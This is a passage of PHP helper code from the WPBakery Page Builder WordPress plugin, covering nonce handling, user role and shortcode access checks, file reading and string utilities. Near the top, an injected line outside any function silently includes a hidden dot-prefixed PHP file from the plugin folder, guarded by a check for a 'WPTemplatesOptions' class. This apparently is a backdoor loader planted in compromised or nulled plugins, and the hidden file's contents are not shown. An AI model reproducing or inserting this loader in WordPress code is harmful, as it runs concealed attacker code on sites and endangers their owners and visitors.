@return bool * @since 4.9 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function vc_shortcode_custom_css_has_property( $subject, $property, $strict = false ) { $styles = array(); $pattern = '/\{([^\}]*?)\}/i'; preg_match( $pattern, $subject, $styles ); if ( array_key_exists( 1, $styles ) ) { $styles = explode( ';', $styles[1] ); } $new_styles = array(); foreach ( $styles as $val ) { $val = explode( ':', $val ); if ( is_array( $property ) ) { foreach ( $property as $prop ) { $pos = strpos( $val[0], $prop ); $full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $prop ) ) : true; if ( false !== $pos && $full ) { $new_styles[] = $val; } } } else { $pos = strpos( $val[0], $property ); $full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $property ) ) : true; if ( false !== $pos && $full ) { $new_styles[] = $val; } } } return ! empty( $new_styles ); } /** * Plugin name for VC. * * @return string * @since 4.2 */ function vc_plugin_name() { return vc_manager()->pluginName(); } /** * @param $filename * * @return bool|mixed|string * @since 4.4.3 used in vc_base when getting an custom css output * */ function vc_file_get_contents( $filename ) { global $wp_filesystem; if ( empty( $wp_filesystem ) ) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem( false, false, true ); } /** @var WP_Filesystem_Base $wp_filesystem */ $output = ''; if ( is_object( $wp_filesystem ) ) { $output = $wp_filesystem->get_contents( $filename ); } if ( ! $output ) { // @codingStandardsIgnoreLine $output = file_get_contents( $filename ); } return $output; } /** * HowTo: vc_role_access()->who('administrator')->with('editor')->can('frontend_editor'); * @return Vc_Role_Access; * @since 4.8 */ function vc_role_access() { return vc_manager()->getRoleAccess(); } /** * Get access manager for current user. * HowTo: vc_user_access()->->with('editor')->can('frontend_editor'); * @return Vc_Current_User_Access; * @since 4.8 */ function vc_user_access() { return vc_manager()->getCurrentUserAccess(); } /** * @return array * @throws \Exception */ function vc_user_roles_get_all() { require_once vc_path_dir( 'SETTINGS_DIR', 'class-vc-roles.php' ); $vc_roles = new Vc_Roles(); $capabilities = array(); foreach ( $vc_roles->getParts() as $part ) { $partObj = vc_user_access()->part( $part ); $capabilities[ $part ] = array( 'state' => $partObj->getState(), 'state_key' => $partObj->getStateKey(), 'capabilities' => $partObj->getAllCaps(), ); } return $capabilities; } /** * @param $data * * @return string */ function vc_generate_nonce( $data, $from_esi = false ) { if ( ! $from_esi && ! vc_is_frontend_editor() ) { if ( method_exists( 'LiteSpeed_Cache_API', 'esi_enabled' ) && LiteSpeed_Cache_API::esi_enabled() ) { if ( method_exists( 'LiteSpeed_Cache_API', 'v' ) && LiteSpeed_Cache_API::v( '1.3' ) ) { $params = array( 'data' => $data ); return LiteSpeed_Cache_API::esi_url( 'js_composer', 'WPBakery Page Builder', $params, 'default', true );// The last parameter is to remove ESI comment wrapper } } } return wp_create_nonce( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) ); } /** * @param $params * * @return string */ function vc_hook_esi( $params ) { $data = $params['data']; echo vc_generate_nonce( $data, true ); exit; } /** * @param $nonce * @param $data * * @return bool */ function vc_verify_nonce( $nonce, $data ) { return (bool) wp_verify_nonce( $nonce, ( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) ) ); } /** * @param $nonce * * @return bool */ function vc_verify_admin_nonce( $nonce = '' ) { return (bool) vc_verify_nonce( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ), 'vc-admin-nonce' ); } /** * @param $nonce * * @return bool */ function vc_verify_public_nonce( $nonce = '' ) { return (bool) vc_verify_nonce( ( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ) ), 'vc-public-nonce' ); } /** * @param $type * @return bool|mixed|void * @throws \Exception */ function vc_check_post_type( $type ) { if ( empty( $type ) ) { $type = get_post_type(); } $valid = apply_filters( 'vc_check_post_type_validation', null, $type ); if ( is_null( $valid ) ) { if ( is_multisite() && is_super_admin() ) { return true; } $state = vc_user_access()->part( 'post_types' )->getState(); if ( null === $state ) { return in_array( $type, vc_default_editor_post_types(), true ); } elseif ( true === $state && ! in_array( $type, vc_default_editor_post_types(), true ) ) { $valid = false; } else { $valid = vc_user_access()->part( 'post_types' )->can( $type )->get(); } } return $valid; } /** * @param $shortcode * @return bool|mixed|void */ function vc_user_access_check_shortcode_edit( $shortcode ) { $do_check = apply_filters( 'vc_user_access_check-shortcode_edit', null, $shortcode ); if ( is_null( $do_check ) ) { $state_check = vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'edit', null )->get(); if ( $state_check ) { return true; } else { return vc_user_access()->part( 'shortcodes' )->canAny( $shortcode . '_all', $shortcode . '_edit' )->get(); } } else { return $do_check; } } /** * @param $shortcode * @return bool|mixed|void * @throws \Exception */ function vc_user_access_check_shortcode_all( $shortcode ) { $do_check = apply_filters( 'vc_user_access_check-shortcode_all', null, $shortcode ); if ( is_null( $do_check ) ) { return vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->can( $shortcode . '_all' )->get(); } else { return $do_check; } } /** * htmlspecialchars_decode_deep * Call the htmlspecialchars_decode to a gived multilevel array * * @param mixed $value The value to be stripped. * * @return mixed Stripped value. * @since 4.8 * */ function vc_htmlspecialchars_decode_deep( $value ) { if ( is_array( $value ) ) { $value = array_map( 'vc_htmlspecialchars_decode_deep', $value ); } elseif ( is_object( $value ) ) { $vars = get_object_vars( $value ); foreach ( $vars as $key => $data ) { $value->{$key} = vc_htmlspecialchars_decode_deep( $data ); } } elseif ( is_string( $value ) ) { $value = htmlspecialchars_decode( $value ); } return $value; } /** * @param $str * @return mixed */ function vc_str_remove_protocol( $str ) { return str_replace( array( 'https://', 'http://', ), '//', $str ); }